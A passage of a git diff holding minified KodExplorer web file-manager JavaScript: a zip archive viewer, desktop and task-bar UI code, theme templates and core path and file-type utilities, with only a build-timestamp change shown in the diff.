').appendTo("body");var a=G.static_path+"others/sound/"+i,n=e("./myPlayer");n.playSound(a,$("."+t))};return{playSoundFile:t,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){t(i[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var i,t={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,i){var t=15,a=$("#"+i.tId+"_switch"),n=$("#"+i.tId+"_ico");a.remove(),i.iconSkin=i.tree_icon;var o=i.tree_icon;if(i.ext?o=i.ext:i.tree_icon||(o=i.type),n.before(a).before(''+core.iconSmall(o)+" ").remove(),void 0!=i.ext&&n.attr("class","").addClass("file "+i.ext).removeAttr("style"),i.level>=1){var s=" ";a.before(s)}var r=''+date(LNG.time_type,i.mtime)+" ";r+=''+core.fileSize(i.size)+" ",r+='',$("#"+i.tId+"_span").after(r),a.parent().addClass(i.menuType)}},callback:{onClick:function(e,t,a){$(e.target).hasClass("menu_more")||(i.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,i){m(i)},onExpand:function(e,i){m(i)},beforeRightClick:function(e,t){t&&(u(t),i.selectNode(t))},onDblClick:function(e,t,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",i)}}},a=function(e){for(var i=function(e){for(var t=0;e.length>t;t++)if(void 0!=e[t]){var a=e[t];e[t]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[t].ext,e[t].child?(e[t].children=e[t].child,delete e[t].child,i(e[t].children)):delete e[t].child}else delete e[t]},t={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),t[e[a].filename]=e[a]);for(var n in t)if(!t[n].folder)for(var o=core.pathFather(t[n].filename);""!=o&&"/"!=o&&!t[o]&&!t[rtrim(o,"/")];)t[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in t){var r=t[n],l=core.pathFather(r.filename);if(t[l]&&(l=core.pathFather(r.filename)),t[rtrim(l,"/")]&&(l=rtrim(l,"/")),t[l])t[l].child||(t[l].child=[]),t[l].child.push(t[r.filename]);else{var c=t[r.filename];c&&s.push(c)}}return i(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var i=$(this).offset();i.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:i.top})})},o=function(e,i){if(void 0==i){var t=$(".context-menu-active").parents(".ztree");if(0==t.length)return;i=$.fn.zTree.getZTreeObj(t.attr("id"))}var a=i.getSelectedNodes()[0];switch(e){case"open":c(i,a);break;case"down":l(i,a);break;case"unzip_this":p(i,a);break;case"unzip_to":d(i,a);break;case"info":h(i,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var i=0;e.children.length>i;i++)r(e.children[i])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&download=1&index="+i.index;ui.pathOpen.downloadUrl(a)},c=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&index="+i.index+"&name=/"+urlEncode(i.path),n=i.ext;"zip"==n&&(n="unknow"),i.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,i){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(t){p(e,i,t)})},p=function(e,i,t){var a=e.setting.filePath;e.setting.fileUrl,void 0==t&&(t=G.this_path,void 0==t&&(t=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:t,unzip_part:i.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=t+core.pathThis(i.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var i=f(e),t=LNG.size+" "+i.size_friendly+" ("+i.size+" Byte)";"folder"==e.type&&(t=i.file_num+LNG.file+","+i.folder_num+LNG.folder+", "+t),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(t)},f=function(e){var i={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(i.path=i.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(i,s),i.size_friendly=core.fileSize(i.size)),i},h=function(e,i){var t="folder"==i.type?"folder":core.pathExt(i.path),a="folder"==i.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(i);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(t),fixed:!0,title:core.pathThis(i.path),content:n(o),ok:!0})},v=function(e,i){var t=template.compile(tpl_zipview),a=t({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:i,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},m=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},_=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),v(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),t,s),i=$.fn.zTree.getZTreeObj(r),m(r),u(i.getNodeByParam("index","-1",null))},g=function(e){var t="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(t="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(t=G.app_host+"index.php?"+t,$.ajax({url:t,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(_(core.pathThis(e),a.data),i.setting.filePath=e,i.setting.fileUrl=t):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'\n
\n
{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}
\n
——{{LNG.kod_name_copyright}}
\n
\n
\n
{{#LNG.copyright_desc}}
\n
{{#LNG.copyright_contact}}
\n
{{#LNG.copyright_info}}
\n
\n
\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/app/page",[],function(){var e,i=function(){e=location.hash.split("#",2)[1],e||(e="all"),a(e),$("ul.setting a").click(function(){e!=$(this).attr("id")&&(e=$(this).attr("id"),a(e))
}),$(".box .list").live("hover",function(){$(this).addClass("listhover")},function(){$(this).toggleClass("listhover")}).live("click",function(){var e="index.php?setting/set&k="+type+"&v="+value;$.ajax({url:e,dataType:"json",success:function(e){Tips.tips(e.data,e.code)}})}),$(".create_app").die("click").live("click",function(){window.parent&&window.parent.ui.path.pathOperate.appEdit("","","root_add")}),$(".app-list .app_li").die("click").live("click",function(e){if($(e.target).attr("action")){var i=jsonDecode(base64Decode($(this).attr("data-app"))),t=$(e.target).attr("action");switch(t){case"preview":core.openApp(i);break;case"add":var n="/";ShareData.frameTop("",function(e){n=e.G.this_path});var o=urlEncode(n+i.name),s="./index.php?app/user_app&action=add&path="+o;$.ajax({url:s,dataType:"json",type:"POST",data:{data:urlEncode(jsonEncode(i))},error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&ShareData.frameTop("",function(e){e.ui.f5()})}});break;case"edit":ShareData.frameTop("",function(e){e.ui.path.pathOperate.appEdit(i,"","root_edit")});break;case"del":$.dialog({id:"dialog_app_remove",icon:"question",padding:20,width:200,lock:!0,background:"#000",opacity:.3,content:LNG.remove_info,ok:function(){$.ajax({url:"./index.php?app/del&name="+urlEncode(i.name),dataType:"json",error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&a()}})},cancel:!0});break;default:}}})},t=function(e){var i="",t=" ";G.is_root||(t="");for(var a in e)if(e[a]){var n=e[a].icon;-1==n.search(G.static_path)&&"http"!=n.substring(0,4)&&(n=G.static_path+"images/file_icon/icon_app/"+n),i+=" "+e[a].name+" "+e[a].desc+"
"+" "+LNG.button_add+" "+t+"
"}return i+="
"},a=function(i){(void 0==i||""==i)&&(i=e),$(".selected").removeClass("selected"),$("ul.setting a#"+i).addClass("selected"),$(".main").find(".h1").html(" "+$(".selected").text());var a=$(".main .app-list");$.ajax({url:"./index.php?app/get&group="+i,dataType:"json",beforeSend:function(){},success:function(e){a.html(t(e.data)),$("body").scrollTop(0)}})};return{reload:a,init:i}});
\ No newline at end of file
diff --git a/static/js/app/src/desktop/main.js b/static/js/app/src/desktop/main.js
index b44d60a..14d1f2e 100755
--- a/static/js/app/src/desktop/main.js
+++ b/static/js/app/src/desktop/main.js
@@ -1,6 +1,6 @@
-/*! power by kodexplorer ver3.42(2017-04-07) [build 1491568966742] */
+/*! power by kodexplorer ver3.42(2017-04-08) [build 1491589321217] */
define("app/src/desktop/main",["lib/jquery-lib","lib/util","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/taskTap","../../common/core","../../common/rightMenu","../explorer/ui","../explorer/fileContent","../explorer/path","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../explorer/fileLight","../explorer/fileSelect","../explorer/fileListResize"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".bodymain .fileContiner",FileBoxClass:".bodymain .fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".bodymain .fileContiner .title",SelectClass:".bodymain .fileContiner .file.select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",FileOrderAttr:"number",pageApp:"desktop",navbar:"navbar",AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../common/rightMenu"),ui=e("../explorer/ui"),ui.path=e("../explorer/path"),ui.fileLight=e("../explorer/fileLight"),ui.fileSelect=e("../explorer/fileSelect"),ui.fileListResize=e("../explorer/fileListResize"),$(document).ready(function(){G.user_config.list_type="icon",core.init(),ui.init(),ui.fileLight.init(),ui.fileSelect.init(),TaskTap.init(),rightMenu.initDesktop(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),$(".fileContiner").removeClass("hidden"),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()}),$(".bodymain").click(function(){"block"==$("#menuwin").css("display")&&$("#menuwin").css("display","none"),$("body").focus()}),$(".start").click(function(){"block"==$("#menuwin").css("display")?$("#menuwin").css("display","none"):$("#menuwin").css("display","block")}),$("#menuwin").click(function(){$("#menuwin").css("display","none")}),$(".copyright").click(function(){core.copyright()}),$(".tab_hide_all").click(function(){if(0!=$.dialog.list.length){$(this).toggleClass("this");var e=!$(this).hasClass("this");$.each($.dialog.list,function(i,t){t.display(e)})}});var i='';$("body").append(i);var t=$("#randomWallpaper .flower");t.bind("click",function(){t.addClass("moveCircle");var e=function(e){var i=G.my_desktop+"wallpage/";$.get("./index.php?explorer/mkdir&repeat_type=replace&path="+i,function(){$.get("./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e))})};core.api.randomImage(function(i){ui.setWall(i,function(){setTimeout(function(){t.removeClass("moveCircle")},100)}),$.get("index.php?setting/set&k=wall&v="+urlEncode(i)),e(i)})})})}),define("app/common/taskTap",[],function(){var e={},i="",t=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var i=e.attr("id"),t=$.dialog.list[i];if(void 0==t)return c(i),void 0;var a=$("."+i);"hidden"==a.css("visibility")?t.display(!0).zIndex():a.hasClass("aui_state_focus")?t.display(!1):t.zIndex()},o=function(){var e,i,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(i){1==i.which&&(e=$(this),h(i),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(i){_(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(i.pageX-l)&&n(e)}))});var h=function(t){s=!0,r=!0,l=t.pageX,$tab_parent=$(".task_tab"),i=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(i.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(i.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=t.clientX-l+c;$("body").prepend("
"),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(t){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(t);var n=t.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),i.each(function(){var i=$(this).get(0).getBoundingClientRect().left;if(n>i&&i+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"left")}if(n>i-d/2+p&&i>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"right")}}))}},v=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),i=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},t),l.animate({width:"0px"},t,function(){$(this).remove(),i=$(".task_tab .tab")})}},_=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},t,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var i=110,a=i,n=i+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},t);case"close":o.animate({width:a+"px"},t);break;case"resize":o.css("width",a+"px");break;default:}},r=function(i,t){$(".task_tab").removeClass("hidden");var a=t.replace(/<[^>]+>/g,""),n='";$(n).insertBefore(".task_tab .last"),s("add"),e[i]={id:i,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),i=e},c=function(i){$(".task_tab #"+i).animate({width:0},t,function(){if($(".task_tab #"+i).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[i]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{dialog_quite:{name:LNG.close,className:"dialog_quite",icon:"remove",accesskey:"q"},dialog_max:{name:LNG.dialog_max,className:"dialog_max",icon:"resize-full",accesskey:"a"},dialog_min:{name:LNG.dialog_min,className:"dialog_min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"dialog_quite":a.close();break;case"dialog_min":a._clickMin(!1);break;case"dialog_max":a._clickMax();break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui_title img,.aui_title .x-item-file").die("click").live("click",function(e){var i=$(this).offset();i.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:i.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),i=$.dialog.list[e];i.close(),rightMenu.hidden()})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"quitOthers":$.each($.dialog.list,function(e,i){t!=e&&i.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,i){var t=i.$trigger.attr("id");switch($.dialog.list[t],e){case"showAll":$.each($.dialog.list,function(e,i){i.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,i){i.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,i){i.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},i=!!window.ActiveXObject||"ActiveXObject"in window,t="chrome";i&&(t="ie"),core.filetypes.music=e[t].music,core.filetypes.movie=e[t].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var i=$($(this).attr("title-data"));e=i.is("input")||i.is("textarea")?i.val():i.html()}return e=e?e:"",e.replace(/\n/g," ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,i){if(i=void 0==i?"":i,"string"==$.type(e)){var t=trim(trim(e),"/");if(e={},"{"!=t.substring(0,1)||t.split("/").length>1)return{icon:"",name:""};e.path_type=t.match(/\{.*\}/),e.id=t.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:i}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=i),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var i=e.match(/\{.*\}/),t=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(i[0],t)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var i=e.match(/\{.*\}/);return i[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(i){}var i=e||window.event;return i?i&&$(i.target).is("textarea")||$(i.target).is("input")||$(i.target).is("p")||$(i.target).is("pre")||0!=$(i.target).parents(".can_right_menu").length||0!=$(i.target).parents(".topbar").length||0!=$(i.target).parents(".edit_body").length||0!=$(i.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/"),a=i.substr(t+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var i=e.replace(/\\/g,"/");return i=i.replace(/\/+/g,"/"),i=i.replace(/\.+\//g,"/")},pathFather:function(e){var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/");return i.substr(0,t+1)},pathExt:function(e){var i=trim(e,"/");return-1!=i.lastIndexOf("/")&&(i=i.substr(i.lastIndexOf("/")+1)),-1!=i.lastIndexOf(".")?i.substr(i.lastIndexOf(".")+1).toLowerCase():i.toLowerCase()},path2url:function(e,i){if("http"==e.substr(0,4))return e;void 0==i&&(i=!0);var t,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var i=urlEncode(e);return i=i.replace(/%2F/g,"/")};return G.is_root&&i&&a.substring(0,G.web_root.length)==G.web_root?t=G.web_host+n(a.replace(G.web_root,"")):(t=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 